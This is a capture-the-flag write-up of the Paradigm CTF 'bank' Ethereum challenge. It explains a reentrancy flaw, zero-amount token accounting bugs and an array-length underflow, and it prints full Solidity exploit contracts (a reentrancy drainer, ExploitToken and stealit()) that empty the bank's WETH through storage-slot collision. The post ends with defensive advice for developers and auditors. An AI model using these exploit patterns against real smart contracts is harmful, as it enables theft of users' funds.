security • ctf • smart contracts • ethereum
Writeup of Paradigm CTF: Bank
by Steve Marx on
When I participated in the Paradigm CTF last weekend, I was able to get the first solve for two challenges. My last post covered one of those challenges, called “vault”. In this post, I’ll cover the other, a challenge called “bank.”
As in the last post, if you’re new to Ethereum smart contracts, this is a blog post you probably want to skip.
The only bank I trust. Photo courtesy of Paweł Czerwiński.
The challenge
The bank challenge is a smart contract system consisting of a bank-like contract called Bank and a Setup contract that instantiates the Bank and makes a deposit of 50 ether in WETH.
The Setup contract also defines the success criterion. The challenge is solved if you manage to take away the WETH stored in the bank:
function isSolved() external view returns (bool) {
return weth.balanceOf(address(bank)) == 0;
}
Code walkthrough
The Bank contract is largely just a way for various users to deposit and withdraw ERC20 tokens, but it has an interesting notion of “accounts”:
struct Account {
string accountName;
uint uniqueTokens;
mapping(address => uint) balances;
}
mapping(address => Account[]) accounts;
Essentially, each Ethereum address has any number of “accounts”, and deposits and withdrawals work with these individual numbered accounts. The uniqueTokens field keeps track of how many different tokens (token contracts, not quantity) are being held by the account.
There are two functions to handle deposits and withdrawals:
function depositToken(uint accountId, address token, uint amount) external {
require(accountId <= accounts[msg.sender].length, "depositToken/bad-account");
// open a new account for the user if necessary
if (accountId == accounts[msg.sender].length) {
accounts[msg.sender].length++;
}
Account storage account = accounts[msg.sender][accountId];
uint oldBalance = account.balances[token];
// check the user has enough balance and no overflows will occur
require(oldBalance + amount >= oldBalance, "depositToken/overflow");
require(ERC20Like(token).balanceOf(msg.sender) >= amount, "depositToken/low-sender-balance");
// increment counter for unique tokens if necessary
if (oldBalance == 0) {
account.uniqueTokens++;
}
// update the balance
account.balances[token] += amount;
// transfer the tokens in
uint beforeBalance = ERC20Like(token).balanceOf(address(this));
require(ERC20Like(token).transferFrom(msg.sender, address(this), amount), "depositToken/transfer-failed");
uint afterBalance = ERC20Like(token).balanceOf(address(this));
require(afterBalance - beforeBalance == amount, "depositToken/fee-token");
}
function withdrawToken(uint accountId, address token, uint amount) external {
require(accountId < accounts[msg.sender].length, "withdrawToken/bad-account");
Account storage account = accounts[msg.sender][accountId];
uint lastAccount = accounts[msg.sender].length - 1;
uint oldBalance = account.balances[token];
// check the user can actually withdraw the amount they want and we have enough balance
require(oldBalance >= amount, "withdrawToken/underflow");
require(ERC20Like(token).balanceOf(address(this)) >= amount, "withdrawToken/low-sender-balance");
// update the balance
account.balances[token] -= amount;
// if the user has emptied their balance, decrement the number of unique tokens
if (account.balances[token] == 0) {
account.uniqueTokens--;
// if the user is withdrawing everything from their last account, close it
// we can't close accounts in the middle of the array because we can't
// clone the balances mapping, so the user would lose all their balance
if (account.uniqueTokens == 0 && accountId == lastAccount) {
accounts[msg.sender].length--;
}
}
// transfer the tokens out
uint beforeBalance = ERC20Like(token).balanceOf(msg.sender);
require(ERC20Like(token).transfer(msg.sender, amount), "withdrawToken/transfer-failed");
uint afterBalance = ERC20Like(token).balanceOf(msg.sender);
require(afterBalance - beforeBalance == amount, "withdrawToken/fee-token");
}
Both functions accept an accountId parameter, which is an index into the given user’s Account array. They keep uniqueTokens updated, and withdrawToken() deletes accounts from the array if they’re the last account in the array and they’re empty.
There’s one more function relevant to the challenge:
// close the last account if empty - we need this in case we couldn't automatically close
// the account during withdrawal
function closeLastAccount() external {
// make sure the user has an account
require(accounts[msg.sender].length > 0, "closeLastAccount/no-accounts");
// make sure the last account is empty
uint lastAccount = accounts[msg.sender].length - 1;
require(accounts[msg.sender][lastAccount].uniqueTokens == 0, "closeLastAccount/non-empty");
// close the account
accounts[msg.sender].length--;
}
The idea here is that withdrawToken() could be unable to “close” an account because it wasn’t at the end of the account list. This function allows a user to manually close such an empty account once it becomes the last account in the array.
Array length underflow
The issue that stood out to me immediately is the potential for accounts[msg.sender].length-- to underflow. If this happens, the length of the dynamic array accounts[msg.sender] wraps around to 2256-1. This is incredibly useful because Ethereum storage is a giant length-2256 array that relies on hashing to avoid collisions.
If I can write to any arbitrary location in storage, I can intentionally collide with another value and set it to whatever I want. For example, I can set my WETH balance to an arbitrary value and then use withdrawToken() to empty the bank.
An underflow doesn’t seem immediately possible because both withdrawToken() and closeLastAccount() are guarded by a check against the length of the accounts array. Fortunately, a reentrancy vulnerability can help bypass those checks.
Background: reentrancy
Reentrancy occurs when contract A calls contract B, and contract B in turn calls back into contract A (“reentering” the contract). The existence of reentrancy isn’t necessarily a problem, but it can be a vulnerability if the reentered contract isn’t careful about state. Here’s a simple example of a reentrancy vulnerability:
contract VulnerableBank {
public mapping(address => uint256) balanceOf;
function deposit() external payable {
balanceOf[msg.sender] += msg.value;
}
function withdraw() external {
msg.sender.call{value: balanceOf[msg.sender]}("");
balanceOf[msg.sender] = 0;
}
}
This contract is vulnerable because of the external call in withdraw() that comes before the state update where the account’s balance is set to zero. This means that during the external call, the sender’s balance is still non-zero, so the sender can call withdraw() again (and again) to withdraw more than the amount expected. The following contract could be used to hack this vulnerable bank:
contract Hack {
VulnerableBank bank;
constructor(VulnerableBank _bank) public {
bank = _bank;
}
// This function is invoked when ether is sent to the contract.
receive() external payable {
// Keep withdrawing until the bank's balance is insufficient.
if (address(bank).balance >= bank.balanceOf(address(this))) {
bank.withdraw();
}
}
function exploit() external payable {
// Deposit whatever is sent in.
bank.deposit{value: msg.value}();
// Withdraw repeatedly through reentrancy until the bank is empty.
bank.withdraw();
// Self-destruct and send all ill-gotten gains to the caller.
selfdestruct(msg.sender);
}
}
The reentrancy vulnerability
withdrawToken() suffers from a reentrancy vulnerability (my comments):
function withdrawToken(
uint accountId,
address token,
uint amount
)
external
{
require(accountId < accounts[msg.sender].length,
"withdrawToken/bad-account");
Account storage account = accounts[msg.sender][accountId];
uint lastAccount = accounts[msg.sender].length - 1;
uint oldBalance = account.balances[token];
// ...
// This line makes an external call to an attacker-controlled address!
// I can use this to reenter Bank.closeLastAccount().
require(ERC20Like(token).balanceOf(address(this)) >= amount,
"withdrawToken/low-sender-balance");
// ...
if (account.balances[token] == 0) {
account.uniqueTokens--;
// If I do things right, I'll get here with an already empty
// accounts[msg.sender].
if (account.uniqueTokens == 0 && accountId == lastAccount) {
// Underflow!
accounts[msg.sender].length--;
}
}
// ...
}
So it seems simple enough: just call withdrawToken() with a token contract I wrote, and in the middle of that call make a reentrant call to closeLastAccount(), resulting in decrementing accounts[msg.sender].length twice to underflow.
There’s one pesky problem: uniqueTokens. Both functions decrement uniqueTokens and then check that it’s exactly zero. Neither will actually decrease accounts[msg.sender].length unless this check passes. So to fully exploit this contract, I needed to also find a way to manipulate uniqueTokens.
Depositing and withdrawing nothing
The logic for updating an account’s uniqueTokens field should work like this:
- If a token balance changes from zero to non-zero, increment
uniqueTokens. - If a token balance changes from non-zero to zero, decrement
uniqueTokens.
This scheme would keep an accurate count of uniqueTokens as the count of tokens with a non-zero balance. The contract, however, has slightly different logic:
- If a token balance was zero before a deposit, increment
uniqueTokens. - If a token balance is zero after a withdrawal, decrement
uniqueTokens.
This is mostly the same except in the case of deposits and withdrawals with zero amounts. If a given token balance is zero, depositing zero tokens will increment uniqueTokens. Similarly, if a given token balance starts at zero, withdrawing zero tokens will decrement uniqueTokens.
This logical flaw gives an attacker the ability to manipulate uniqueTokens arbitrarily by depositing and withdrawing zero tokens of a token type that already has a zero balance.
Exploiting the underflow
The ExploitToken contract below uses a series of reentrant calls and empty deposits and withdrawals to manipulate uniqueTokens and exploit the accounts array length underflow. The doit() function is where things start:
contract ExploitToken {
Bank public bank;
// This keeps track of what reentrancy the code should do next.
uint256 reentering = 0;
constructor(Bank _bank) public {
bank = _bank;
}
// This function is called at the top of `withdrawToken()` and is the
// opportunity for reentrancy.
function balanceOf(address) external returns (uint256) {
if (reentering == 1) {
reentering = 0;
bank.closeLastAccount();
reentering = 2;
bank.depositToken(0, address(this), 0);
} else if (reentering == 2) {
reentering = 0;
bank.closeLastAccount();
}
return 0;
}
function transferFrom(address, address, uint256) external returns (bool) {
return true;
}
function transfer(address, uint256) external returns (bool) {
return true;
}
function doit() external {
// Calls are annotated with the the uniqueTokens values in the
// accounts[msg.sender] array at the END of the call. The goal
// is to get to a single account with uniqueTokens==0.
bank.depositToken(0, address(this), 0); // [1]
bank.depositToken(1, address(this), 0); // [1, 1]
bank.withdrawToken(0, address(this), 0); // [0, 1]
bank.withdrawToken(1, address(this), 0); // [0]
reentering = 1;
bank.withdrawToken(0, address(this), 0);
}
}
The final call in doit() to withdrawToken() starts the chain of reentrancy. Below, I’m using a slightly different notation, indicating the state both before and after reentrancy and showing the state as two values: accounts[msg.value][0].uniqueTokens and accounts[msg.value].length. This is important because it one point, I’m manipulating storage that’s not actually in the array anymore. Keep in mind that depositToken() increments the array length in the “BEFORE” part and increments uniqueTokens in the “AFTER” part:
withdrawToken(0, ...) BEFORE // 0, 1
--> closeLastAccount() // 0, 0
--> depositToken(0, ...) BEFORE // 0, 1
--> closeLastAccount() // 0, 0
depositToken(0, ...) AFTER // 1, 0
withdrawToken(0, ...) AFTER // 0, -1 (underflow to 2**256-1)
The first withdrawToken() is able to succeed because the checks at the top of the function pass. The intermediate sequence of calls manipulates the array such that it’s empty (but with a uniqueTokens value of 1) before withdrawToken() decreases the array length.
This is a big step. Now I can use any part of storage as though it’s one of my “accounts”, but I still need to manipulate storage in some way so that I can trick the contract into giving me the stored WETH.
Exploiting the unbounded array with another underflow
There’s only one way to get tokens out of the Bank contract, and that’s to call withdrawToken(). For that to work, I need to have a WETH balance in some account. Fortunately, I can use my ability to write to arbitrary storage locations to set that balance. I could deposit a token to increase a balance, but it’s even easier to use withdrawToken() with an amount of 0 to get uniqueTokens to underflow to 2256-1.
The task, then, is to figure out what account ID will make it so that account’s uniqueTokens field is at the same location as my WETH balance.
More precisely, the target storage slot is where accounts[msg.value][0].balances[WETH_ADDRESS] is stored. (The 0 there is arbitrary.) I need to find an account ID such that accounts[msg.value][account_id].uniqueTokens is located in the same storage slot.
I won’t go into the details about how storage is laid out in Solidity smart contracts here. I’ve done a pretty good job of it already in Understanding Ethereum Smart Contract Storage on Program the Blockchain.
I’ll skip straight to the code that figures out the right account ID and pulls off the exploit:
function stealit() external {
// from Setup.sol
address WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
// compute the storage slot for accounts[msg.sender]
uint256 myAccountsSlot = uint256(
keccak256(
keccak256(
abi.encode(
address(this), // accounts[msg.sender]
uint256(2) // the storage slot for accounts
)
)
)
);
uint256 accountId = 0;
while (true) {
// storage slot for
// accounts[this][accountId].balances[WETH_ADDRESS]
uint256 wethBalanceSlot = uint256(
keccak256(
abi.encode(
WETH_ADDRESS,
// arr[accountId].balances
myAccountsSlot + accountId * 3 + 2
)
)
);
// Location for myAccounts[i].uniqueTokens is
// myAccountsSlot + i * 3 + 1, so we need to find an i that makes
// that hit our target.
if ((wethBalanceSlot - myAccountsSlot - 1) % 3 == 0) {
uint256 i = (wethBalanceSlot - myAccountsSlot - 1) / 3;
require(myAccountsSlot + i * 3 + 1 == wethBalanceSlot);
// underflow accounts[this][i].uniqueTokens
bank.withdrawToken(i, address(this), 0);
// withdraw from accounts[accountId].balances[WETH_ADDRESS]
bank.withdrawToken(accountId, WETH_ADDRESS, 50 ether);
break;
}
// If we didn't get a multiple of 3, just try another account ID.
accountId += 1;
}
}
At the end of this function, the Bank has been drained of all its WETH, which solves the challenge!
An alternative method
It might be more obvious to use this function to do arbitrary storage writes:
// set the display name of the account
function setAccountName(uint accountId, string name) external {
require(accountId < accounts[msg.sender].length, "setAccountName/invalid-account");
accounts[msg.sender][accountId].accountName = name;
}
When I was solving this challenge, my first thought was to use this function to write my own WETH balance, but I forgot how Solidity stores strings. I thought only the length would be stored at the slot in question, with the rest being written starting at keccak256(slot). This is how typical dynamic arrays work in Solidity. By only being able to write the length at a target location, I’d have a hard time setting my balance to a number as big as 50 ether (50 × 1018).
But strings are not stored the same way as other dynamic arrays. Short strings are written entirely in their base slot, with a length prefix, so I think I could have just written a one-character string via setAccountName() and been able to withdraw the full 50 ether.
Both methods take about the same amount of work because you still need to calculate the correct target slot and a corresponding account ID, so I think both are fine ways to achieve the goal.
Summary
That was a long one! Takeaways if you’re a smart contract developer or auditor:
- Direct array length manipulation is evil! Fortunately, it’s banned in recent versions of Solidity. Use
array.push()andarray.pop(), which are safe from overflow/underflow. - Always use the Checks-Effects-Interactions pattern to avoid reentrancy vulnerabilities. As an alternative, use something like OpenZeppelin’s
ReentrancyGuardto strictly disallow reentrant calls altogether. - Understand Solidity’s storage layout. Without this understanding, it’s easy for a developer to not realize the dangers of an unbounded array.
